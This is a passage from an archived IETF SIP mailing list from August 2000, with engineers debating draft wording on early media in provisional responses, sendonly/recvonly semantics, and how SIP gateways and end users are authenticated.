> behavior > when receiving several different session descriptions from different > branches is undefined. ??? > > Finally, there's a small bug in the current definition of the send-only > and receive-only description in Section B.2. RFC 2327 says: > > a=recvonly > This specifies that the tools should be started in receive-only > mode where applicable. It can be either a session or media > attribute, and is not dependent on charset. > > This is presumably from the viewpoint of the receiver of the SDP. (This > would certainly be true if I used SDP to invite somebody to a multicast > conference.) Thus, if the caller wants to only send, it should > logically include a 'recvonly' in its SDP, since that's what the > receiver of the SDP (the callee) would have to do. > > In the current SIP B.2 definition, > > If a session description from a caller contains a media stream which > is listed as send (receive) only, it means that the caller is only > willing to send (receive) this stream, not receive (send). The same > is true for the callee. > > This says the opposite: the caller that only sends would set the > description to send-only. It may be too late to fix this, depending on > whether anybody actually implements sendonly and recvonly. > > -- > Henning Schulzrinne http://www.cs.columbia.edu/~hgs > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip --------------617A1C059AE87FD8863CE0C9 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit <!doctype html public "-//w3c//dtd html 4.0 transitional//en"> <html> <tt></tt> <tt></tt> <p><tt>Henning Schulzrinne wrote:</tt> <blockquote TYPE=CITE><tt>Below is some text trying to summarize this discussion. I'm not sure we</tt> <br><tt>agreed on the parts marked with ???</tt><tt></tt> <p><tt>Informational (1xx) responses {\MAY} contain message bodies, including</tt> <br><tt>session descriptions.  Later session descriptions override earlier ones.</tt> <br><tt>The session description allows the UAC to receive special announcements</tt> <br><tt>or progress tones.  If a 1xx response contains a session description, a</tt> <br><tt>UAC {\SHOULD} cease generating local ringback tone, but resume local</tt> <br><tt>ringback tone if it receives a 1xx response without a message body from</tt> <br><tt>the same destination.  The media streams are assumed to be bidirectional</tt> <br><tt>unless marked as send-only or receive-only, as described in</tt> <br><tt>Section~\ref{sec:sdp}.  Removing the session description in a subsequent</tt> <br><tt>provisional response restores normal ringback behavior. ??? Client</tt></blockquote> I'd really prefer if no SDP content meant no change in the current media configuration regardless of what message carried it. If a UAS wants to terminate early media, shouldn't it send a media description with port=0 as in any other stream removal (Section B.5)? <p>I haven't been following this thread in detail, so apologies if I've mssed some key issue in the discussion. <p>Rick <blockquote TYPE=CITE><tt></tt>  <br><tt>behavior</tt> <br><tt>when receiving several different session descriptions from different</tt> <br><tt>branches is undefined. ???</tt><tt></tt> <p><tt>Finally, there's a small bug in the current definition of the send-only</tt> <br><tt>and receive-only description in Section B.2. RFC 2327 says:</tt><tt></tt> <p><tt> a=recvonly</tt> <br><tt>       This specifies that the tools should be started in receive-only</tt> <br><tt>       mode where applicable. It can be either a session or media</tt> <br><tt>       attribute, and is not dependent on charset.</tt><tt></tt> <p><tt>This is presumably from the viewpoint of the receiver of the SDP. (This</tt> <br><tt>would certainly be true if I used SDP to invite somebody to a multicast</tt> <br><tt>conference.)  Thus, if the caller wants to only send, it should</tt> <br><tt>logically include a 'recvonly' in its SDP, since that's what the</tt> <br><tt>receiver of the SDP (the callee) would have to do.</tt><tt></tt> <p><tt>In the current SIP B.2 definition,</tt><tt></tt> <p><tt>   If a session description from a caller contains a media stream which</tt> <br><tt>   is listed as send (receive) only, it means that the caller is only</tt> <br><tt>   willing to send (receive) this stream, not receive (send). The same</tt> <br><tt>   is true for the callee.</tt><tt></tt> <p><tt>This says the opposite: the caller that only sends would set the</tt> <br><tt>description to send-only. It may be too late to fix this, depending on</tt> <br><tt>whether anybody actually implements sendonly and recvonly.</tt><tt></tt> <p><tt>--</tt> <br><tt>Henning Schulzrinne   <a href="http://www.cs.columbia.edu/~hgs">http://www.cs.columbia.edu/~hgs</a></tt><tt></tt> <p><tt>_______________________________________________</tt> <br><tt>SIP mailing list</tt> <br><tt>SIP@lists.bell-labs.com</tt> <br><tt><a href="http://lists.bell-labs.com/mailman/listinfo/sip">http://lists.bell-labs.com/mailman/listinfo/sip</a></tt></blockquote> <tt></tt></html> --------------617A1C059AE87FD8863CE0C9-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 15:43:01 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA27929 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 15:43:00 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3CBB8443FD; Fri, 25 Aug 2000 15:38:41 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 265DE443B9 for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 15:10:33 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id PAA04236; Fri, 25 Aug 2000 15:10:22 -0400 (EDT) Message-ID: <39A6C49E.9844FF65@cs.columbia.edu> Date: Fri, 25 Aug 2000 15:10:22 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Michael Thomas <mat@cisco.com> Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, David Harris <dlharris@nortelnetworks.com>, "Sip-Implementors (E-mail)" <sip-implementors@cs.columbia.edu>, sip <sip@lists.bell-labs.com> Subject: Re: [SIP] Re: SIP gateways and authentication References: <89866A7EC9C0D1119C950000F8BCC282016352E9@zrtpd00n.us.nortel.com> <39A6035E.4DDC74C0@dynamicsoft.com> <14758.38134.851139.496078@thomasm-u1.cisco.com> <39A6B1C4.E424802F@cs.columbia.edu> <14758.48066.388917.988364@thomasm-u1.cisco.com> <39A6C0C3.7BEC4838@cs.columbia.edu> <14758.49815.427708.431582@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Michael Thomas wrote: > > Henning Schulzrinne writes: > > Michael Thomas wrote: > > > I guess I'm missing the huge difference > > > here. Both situations the UAC is somewhat > > > clueless about what credentials it needs > > > to ship for the URI. It can guess, and may > > > do a reasonable job at that, but it looks > > > fundamentally the same to me. > > > > No, this is very different. In the certificate (X.509, S/MIME, PGP) > > case, the UAC doesn't need to know anything about the receiver. It > > simply sends a cert saying "CA X believes I'm Telephant Telecom. If you > > believe CA X, you'll trust that I'm indeed Telephant." For basic and > > digest, the UAC has to know > > Not true. You are still guessing that the UAS will > trust that certificate hierarchy. That may not be > a valid assumption. It's the exact same problem > as guessing which basic/digest realm might be needed > along the way. I can just as easily posit a global > symmetric key realm as a global PKI realm. Both > are fantasies. Given the practical success of having CA's embedded in millions of web clients, this seems at least feasible and works millions of times each day, even though it's less than ideal if you're a new CA and want to be recognized as such. I see no way to have a global symmetric key realm without additional protocol support. (Even with a monster LDAP database containing the world's users, there doesn't seem to be a way that a UAS can verify your *digest* secret in an external database without also obtaining a useful secret that the UAS can employ elsewhere.) This does not mean that you couldn't use a ticket-based system (Kerberos and kin), but we're here talking about the existing SIP authentication mechanisms Basic, Digest and PGP (or, in the case of S/MIME, trivially added), not something that doesn't exist yet in our context. > > This is a TANSTAAFL problem inherent in proxy > routed traffic. > > Mike -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 15:49:00 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA28048 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 15:49:00 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B7D3A44402; Fri, 25 Aug 2000 15:39:02 -0400 (EDT) Delivered-To: sip@share.research.bell-labs.com Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6]) by lists.bell-labs.com (Postfix) with SMTP id BDB6D443EA for <sip@share.research.bell-labs.com>; Fri, 25 Aug 2000 15:12:02 -0400 (EDT) Received: from lists.bell-labs.com ([135.104.27.211]) by dirty; Fri Aug 25 15:11:58 EDT 2000 Received: by lists.bell-labs.com (Postfix) id 5405A4437B; Fri, 25 Aug 2000 14:19:22 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotair.hobl.lucent.com (hotair.hobl.lucent.com [199.118.135.2]) by lists.bell-labs.com (Postfix) with SMTP id A09F844347; Fri, 25 Aug 2000 14:19:20 -0400 (EDT) Received: from bell-labs.com by hotair.hobl.lucent.com (SMI-8.6/EMS-1.5 sol2) id OAA10499; Fri, 25 Aug 2000 14:19:19 -0400 Message-ID: <39A6B8A1.19D68E60@bell-labs.com> Date: Fri, 25 Aug 2000 14:19:13 -0400 From: Igor Faynberg <faynberg@bell-labs.com> Organization: Lucent Technologies X-Mailer: Mozilla 4.73 [en]C-CCK-MCD EMS-1.4 (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: listadmins@research.bell-labs.com Cc: extest@lists.bell-labs.com, http-state@lists.bell-labs.com, ietf-pin@lists.bell-labs.com, ietf-sin@lists.bell-labs.com, ip-optical@lists.bell-labs.com, iptel@lists.bell-labs.com, irtf-nsm@lists.bell-labs.com, nsbd@lists.bell-labs.com, pint@lists.bell-labs.com, sip@lists.bell-labs.com, spirits@lists.bell-labs.com, wwexptools@lists.bell-labs.com References: <39A68C4F.6079EBE7@research.bell-labs.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Re: [IETF-PIN] NOTICE: Stripping attachments from list mail. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Shaun, Many thanks for the information. I believe you have made the right decision. Furthermore, for all IETF lists (PINT, SIN, SPIRITS, IPTEL) you may and should disallow even .doc and .ppt attachments. Those who post to these lists must follow the IETF-required practice of putting documents on their own sites and sending only pointers via the exploders. To summarise, only text files should be admitted to the IETF lists. Please also feel free to impose a reasonable limit on the size of the IETF-related e-mail messages. Igor Shaun Erickson wrote: > > Recently, a member of one of the mailing lists had their system infected > with a virus, which was then sent to the list server and dutifully > resent out to hundreds of people on one of the lists. > > To help prevent such an occurence in the future, I have begun stripping > certain attachments out of mail sent to the lists. In the place of the > attachment, there will be a notice that the file was stripped from the > mail, and why. > > File attachments with the following extensions will be automatically > stripped from all mail sent to lists distributed from this server: > > exe, vbs, lnk, pif, wsh, wse, jscript, kix, shs & msi > > Because they are deemed important to the proper running of some of the > lists, Microsoft Word (.doc) and Microsoft Powerpoint (.ppt) files will > continue to be allowed as attachments, along with anything else not > covered by the above list of file extensions being disallowed. > > Please send any questions, concerns, or comments regarding this policy, > to: > > listadmins@research.bell-labs.com > > Your Friendly List Admin, > > -ste (Shaun Erickson, ste@research.bell-labs.com) > > _______________________________________________ > IETF-PIN mailing list > IETF-PIN@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/ietf-pin _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 17:25:25 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29733 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 17:25:24 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9403F443D0; Fri, 25 Aug 2000 17:24:39 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from rwcxch02.clarent.com (unknown [208.205.112.15]) by lists.bell-labs.com (Postfix) with ESMTP id 6F7684439C for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 17:24:35 -0400 (EDT) Received: by rwcxch02.clarent.com with Internet Mail Service (5.5.2650.21) id <P4XMXS2Q>; Fri, 25 Aug 2000 14:23:46 -0700 Message-ID: <6374EFC78443D41197DD00508B5C35DDDA1A3F@rwcxch02.clarent.com> From: Jean-Francois Mule <jfmule@clarent.com> To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, David Harris <dlharris@nortelnetworks.com> Cc: "Sip-Implementors (E-mail)" <sip-implementors@cs.columbia.edu>, sip <sip@lists.bell-labs.com> Subject: [SIP] SIP gateways authentication or registration vs. end-user au thentication Date: Fri, 25 Aug 2000 14:23:44 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com I also believe there is a strong need to differentiate the authentication of SIP network elements (trusted devices: typically SIP UA, both UAC&UAS) and users (in the sense of end-user or service subscriber). --- why? When a VoIP gateway starts, it gets access to the network resources&services as a trusted element in the VoIP network: the term "gateway registration" could be used to differentiate from "end-user authentication". Typically, once authenticated or registered to network services, the gateway gets access to resources like a proxy server, location server, and services like software updates, etc. For the VoIP network, it means the trusted gw is now ready to originate (UAC) & terminate calls (UAS) so I can add it to my call routing tables as a live GW. The case of authenticating the SIP GW as a valid UAS helps to get away from the subscriber-centric authentication. End-user authentication is independent and it can be based on ANI, DNIS (all calls to 1-800 from a trusted network element are ok or even all 911 calls get through no matter what), etc. This is the typical debit card service case of VoIP. The "end-user" authentication is more on a transaction basis while the gw authentication scope can be beyond SIP transactions. Finally, think about a network service provider in a wholesale context: the nsp owns the network and network elements but allows other debit card service providers to plug their debit card app. The nsp would still want trusted network elements. --- how? The realm is doable; it would require to change the definition of realm in 2543bis ("realm: A string to be displayed to users so they know which identity to use.") --- various comments on the thread: Jonathan wrote: > Let me rephrase the problem. A user makes a call from a PSTN phone > through a PSTN->SIP gateway. This call arrives at a proxy server, then > gets routed to a UAS. Either or both of the proxy/UAS might challenge > this request. In this case, who is being authenticated, the gateway > itself, or the user calling in through the gateway? If its the user > themselves, how would that work? I would encourage us to use "end-user". Mike Thomas wrote: > I think it's a slippery slope trying to draw > a difference between "gateway" and "user". A I disagree (see above) and also simply because the scope "gateway" authentication is beyond a pure "SIP transaction" which is the case of "user authentication". > for an identity in its realm. This is consistant > with real life: I have a drivers license for > driving, a credit card for buying dinner and Sure. You also have a car "registration" which allows multiple people to drive your car and all of them have a license, right? The car registration in some countries proves that you have a car insurance, that your car meet some regulatory requirements (polution for e.g.), etc. Jean-Francois Mule' Clarent Corporation _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 17:39:47 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA00091 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 17:39:46 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 08589443D5; Fri, 25 Aug 2000 17:39:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by lists.bell-labs.com (Postfix) with ESMTP id 88DC84439C for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 17:39:33 -0400 (EDT) Received: from daebh01nok.americas.nokia.com (daebh01nok.americas.nokia.com [172.18.242.182]) by mgw-x2.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e7PLdHY15583; Sat, 26 Aug 2000 00:39:17 +0300 (EET DST) Received: by daebh01nok with Internet Mail Service (5.5.2448.0) id <RK60P8CR>; Fri, 25 Aug 2000 16:36:24 -0500 Message-ID: <E39024226822D311BC880008C77318A1AB7588@oteis01nok> From: Cliff.Harris@nokia.com To: schulzrinne@cs.columbia.edu, jdrosen@dynamicsoft.com Cc: brett@broadsoft.com, sip@lists.bell-labs.com Subject: RE: [SIP] Remote ringback. Date: Fri, 25 Aug 2000 16:33:33 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com > -----Original Message----- > From: EXT Henning Schulzrinne [mailto:schulzrinne@cs.columbia.edu] > Sent: Friday, August 25, 2000 2:32 PM > To: Jonathan Rosenberg > Cc: Brett Tate; Cliff.Harris@nokia.com; sip@lists.bell-labs.com > Subject: Re: [SIP] Remote ringback. > > > Below is some text trying to summarize this discussion. I'm > not sure we > agreed on the parts marked with ??? > > > Informational (1xx) responses {\MAY} contain message bodies, including > session descriptions. I thought a 100 could not include a body because it's not end-to-end. However, if I recall correctly, the RFC says an unrecognized 1xx should be treated like a 100. However, an unrecognized 1xx should be allowed to have a body. How about the following: "Informational (1xx) responses (not including 100 but including unrecognized responses) {\MAY} contain message bodies, including session descriptions." > Later session descriptions override > earlier ones. Should this say "from the same UAS" to avoid the forking issue? > The session description allows the UAC to receive special > announcements > or progress tones. To explain the purpose of a bidirectional stream, how about adding the following (before the period): ", and to provide responses to assist in creating the session". > If a 1xx response contains a session > description, a > UAC {\SHOULD} cease generating local ringback tone, but resume local > ringback tone if it receives a 1xx response without a message > body from > the same destination. The term "message body" might be a little vague, as there could be a non-media-related message body. I thought the last word in the thread was that the absence of an SDP attachment would not affect the early media. In any case, everything after the second comma could be removed, as it is duplicated below. > The media streams are assumed to be > bidirectional > unless marked as send-only or receive-only, as described in > Section~\ref{sec:sdp}. > Removing the session description in a > subsequent > provisional response restores normal ringback behavior. How about: "A provisional response without a session description has no effect on any early media that have already been set up. A provisional response with a session description that specifies no media (meaning the port in the "m" line is zero) restores normal ringback behavior." [BTW, is it OK to refer to SDP in the main body of the RFC, or is SIP supposed to support other media protocols as well?] > ??? Client > behavior > when receiving several different session descriptions from different > branches is undefined. ??? > Would anybody object to adding the following: "A UAS that expects to interoperate with non-SIP endpoints {\SHOULD} be prepared for the possibility that no media will be received from the UAC before the INVITE transaction is complete, even when a bidirectional early media stream has been set up." > > Finally, there's a small bug in the current definition of the > send-only > and receive-only description in Section B.2. RFC 2327 says: > > a=recvonly > This specifies that the tools should be started in receive-only > mode where applicable. It can be either a session or media > attribute, and is not dependent on charset. > > This is presumably from the viewpoint of the receiver of the > SDP. (This > would certainly be true if I used SDP to invite somebody to a > multicast > conference.) Thus, if the caller wants to only send, it should > logically include a 'recvonly' in its SDP, since that's what the > receiver of the SDP (the callee) would have to do. > > In the current SIP B.2 definition, > > If a session description from a caller contains a media > stream which > is listed as send (receive) only, it means that the caller is only > willing to send (receive) this stream, not receive (send). The same > is true for the callee. > > This says the opposite: the caller that only sends would set the > description to send-only. It may be too late to fix this, depending on > whether anybody actually implements sendonly and recvonly. > > -- > Henning Schulzrinne http://www.cs.columbia.edu/~hgs > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 17:45:16 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA00169 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 17:45:16 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 587AE443E4; Fri, 25 Aug 2000 17:41:44 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21]) by lists.bell-labs.com (Postfix) with ESMTP id 912534439C for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 17:41:38 -0400 (EDT) Received: from daebh01nok.americas.nokia.com (daebh01nok.americas.nokia.com [172.18.242.182]) by mgw-x1.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e7PLfX026343; Sat, 26 Aug 2000 00:41:33 +0300 (EET DST) Received: by daebh01nok with Internet Mail Service (5.5.2448.0) id <RK60P8DG>; Fri, 25 Aug 2000 16:38:40 -0500 Message-ID: <E39024226822D311BC880008C77318A1AB7589@oteis01nok> From: Cliff.Harris@nokia.com To: schulzrinne@cs.columbia.edu, jdrosen@dynamicsoft.com Cc: brett@broadsoft.com, sip@lists.bell-labs.com Subject: RE: [SIP] Remote ringback. Date: Fri, 25 Aug 2000 16:35:48 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com > To explain the purpose of a bidirectional stream, how about > adding the following (before the period): ", and to provide > responses to assist in creating the session". > Too many uses of the word "session". Something like "to assist in setting up the call" would be better. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 17:59:02 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA00426 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 17:59:02 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3B8E6443D9; Fri, 25 Aug 2000 17:58:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by lists.bell-labs.com (Postfix) with ESMTP id B36624439C for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 17:58:33 -0400 (EDT) Received: from daebh01nok.americas.nokia.com (daebh01nok.americas.nokia.com [172.18.242.182]) by mgw-x2.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e7PLwQY21609; Sat, 26 Aug 2000 00:58:26 +0300 (EET DST) Received: by daebh01nok with Internet Mail Service (5.5.2448.0) id <RK60P8HM>; Fri, 25 Aug 2000 16:55:33 -0500 Message-ID: <E39024226822D311BC880008C77318A1AB758A@oteis01nok> From: Cliff.Harris@nokia.com To: schulzrinne@cs.columbia.edu Cc: jdrosen@dynamicsoft.com, brett@broadsoft.com, sip@lists.bell-labs.com Subject: RE: [SIP] Remote ringback. Date: Fri, 25 Aug 2000 16:52:41 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com True enough. What I was trying to get at is that maybe the UAC is incapable of sending early media, and if the UAS refuses to set up a call when it doesn't receive any early media, the UAS may run into interoperability problems. I suppose there is no need to mention this in the RFC. > -----Original Message----- > From: EXT Henning Schulzrinne [mailto:schulzrinne@cs.columbia.edu] > Sent: Friday, August 25, 2000 5:50 PM > To: Cliff.Harris@nokia.com > Cc: jdrosen@dynamicsoft.com; brett@broadsoft.com; > sip@lists.bell-labs.com > Subject: Re: [SIP] Remote ringback. > > > Cliff.Harris@nokia.com wrote: > > > > > > > "A UAS that expects to interoperate with non-SIP endpoints > {\SHOULD} be > > prepared for the possibility that no media will be received > from the UAC > > before the INVITE transaction is complete, even when a > bidirectional early > > media stream has been set up." > > Nobody can require that I send media for anything, so I'm not > sure this > is particularly special or helpful. > > -- > Henning Schulzrinne http://www.cs.columbia.edu/~hgs > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 18:02:37 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00582 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 18:02:36 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5F0C4443F1; Fri, 25 Aug 2000 18:00:50 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21]) by lists.bell-labs.com (Postfix) with ESMTP id 2BE7C4439C for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 18:00:46 -0400 (EDT) Received: from daebh01nok.americas.nokia.com (daebh01nok.americas.nokia.com [172.18.242.182]) by mgw-x1.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e7PM0d002220; Sat, 26 Aug 2000 01:00:39 +0300 (EET DST) Received: by daebh01nok with Internet Mail Service (5.5.2448.0) id <RK60P8H9>; Fri, 25 Aug 2000 16:57:46 -0500 Message-ID: <E39024226822D311BC880008C77318A1AB758B@oteis01nok> From: Cliff.Harris@nokia.com To: schulzrinne@cs.columbia.edu, Cliff.Harris@nokia.com Cc: jdrosen@dynamicsoft.com, brett@broadsoft.com, sip@lists.bell-labs.com Subject: RE: [SIP] Remote ringback. Date: Fri, 25 Aug 2000 16:54:54 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Sounds really good (one typo noted below) > -----Original Message----- > From: EXT Henning Schulzrinne [mailto:schulzrinne@cs.columbia.edu] > Sent: Friday, August 25, 2000 5:49 PM > To: Cliff.Harris@nokia.com > Cc: jdrosen@dynamicsoft.com; brett@broadsoft.com; > sip@lists.bell-labs.com > Subject: Re: [SIP] Remote ringback. > > > New text: > > Informational (1xx) responses other than 100 (Trying) {\MAY} contain > message bodies, including session descriptions. The session > description > allows the UAC to receive special announcements or progress > tones and to > provide responses to assist in creating the call (``early > media''). If > a 1xx response contains a session description, a UAC {\SHOULD} cease > generating local ringback tone. Session description in 1xx responses you forgot the "s" in "descriptions" > are interpreted in the same manner as those in 2xx responses. Later > session descriptions from the same UAS override earlier ones. > The UAS > can remove the media stream by setting the port number to zero in a > subsequent session description contained in a provisional response and > thus restore normal ringback behavior. A provisional > response without a > session description has no effect on any early media that have already > been set up. > > The media streams are assumed to be bidirectional unless marked as > send-only or receive-only. For SDP, this is described in > Section~\ref{sec:sdp}. Client behavior when receiving > several different > session descriptions from different branches is undefined. > > -- > Henning Schulzrinne http://www.cs.columbia.edu/~hgs > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 26 12:29:21 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA22774 for <sip-archive@odin.ietf.org>; Sat, 26 Aug 2000 12:29:20 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C22F54433E; Sat, 26 Aug 2000 12:28:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from imr1.ericy.com (imr1.ericy.com [208.237.135.240]) by lists.bell-labs.com (Postfix) with ESMTP id 732B944337 for <sip@lists.bell-labs.com>; Sat, 26 Aug 2000 12:28:56 -0400 (EDT) Received: from mr4u3.ericy.com (mr4u3.ericy.com [208.237.135.127]) by imr1.ericy.com (8.9.3/8.9.3) with ESMTP id LAA21323; Sat, 26 Aug 2000 11:28:51 -0500 (CDT) Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.75.179]) by mr4u3.ericy.com (8.9.3/8.9.3) with ESMTP id LAA20499; Sat, 26 Aug 2000 11:28:51 -0500 (CDT) Received: from b04a45.exu.ericsson.se (b04a45 [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id LAA07678; Sat, 26 Aug 2000 11:28:50 -0500 (CDT) From: Sean Olson <eussean@exu.ericsson.se> Received: (from eussean@localhost) by b04a45.exu.ericsson.se (8.9.1/8.9.1) id LAA13922; Sat, 26 Aug 2000 11:28:49 -0500 (CDT) Date: Sat, 26 Aug 2000 11:28:49 -0500 (CDT) Message-Id: <200008261628.LAA13922@b04a45.exu.ericsson.se> To: schulzrinne@cs.columbia.edu, jdrosen@dynamicsoft.com, Cliff.Harris@nokia.com Subject: RE: [SIP] Remote 